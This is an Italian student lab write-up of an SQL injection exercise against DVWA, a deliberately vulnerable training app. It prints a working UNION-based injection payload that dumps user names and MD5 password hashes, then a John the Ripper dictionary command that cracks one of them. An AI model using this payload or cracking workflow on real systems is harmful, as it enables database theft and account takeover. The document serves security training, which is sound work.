

S6/L4

SQL INJECTION





PASSW *

Utilizzando l'attacco SQL Injection
(non blind), andare a compromettere
il database di DVWA.

Bonus: Noterete che le password
sono in codice hash.Trovare il modo
per rendere le password in chiaro.

Nell'esercizio di oggi andremo a vedere come eseguire un attacco SQL Injection, ovvero andremo a sfruttare le vulnerabilità che il linguaggio ci permette di usare in determinati casi su DVWA, come ad esempio quello di utilizzare una condizione "Booleana", come quella di $1=1$, la quale risulta sempre vera, pertanto il database in questione ci darà tutte le informazioni che chiediamo fintanto che la condizione rimane vera, ovvero sempre. queste richieste in SQL prendono il nome di "query", nell'immagine qui riportata possiamo notare la query da noi utilizzata e l'effetto che ha causato.



Vulnerability: SQL Injection

User ID:

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

Come possiamo notare, si siamo riusciti ad ottenere le informazioni da noi richieste, ma ci verrà restituito in chiaro solo l'username, in quanto per motivi di sicurezza tutte le password registrate nei database vengono salvate in codice HASH. Tuttavia esistono dei modi per provare a decriptarle, uno degli strumenti che possiamo utilizzare è "John the ripper", il quale andrà a generare dei codici HASH per poi confrontarli con quello della password, una volta trovata la corrispondenza ci segnalerà in chiaro la password che cerchiamo.



```
(root㉿kali)-[~/home/kali/Desktop/Utili]
# john --wordlist=rockyou.txt --format=raw-md5 sql-dvwa.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
charley      (1337)
1g 0:00:00:00 DONE (2024-01-18 15:29) 100.0g/s 307200p/s 307200c/s 307200C/s my3kids..dangerous
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Quello che abbiamo fatto è chiedere al software di trovare una corrispondenza tra un dizionario di password (in questo caso rockyou) che lui trasformerà in HASH e un file di testo da noi creato con all'interno l'username in chiaro seguito dalla corrispondente password in HASH, queste informazioni sono quelle ottenute attraverso la SQL Injection.

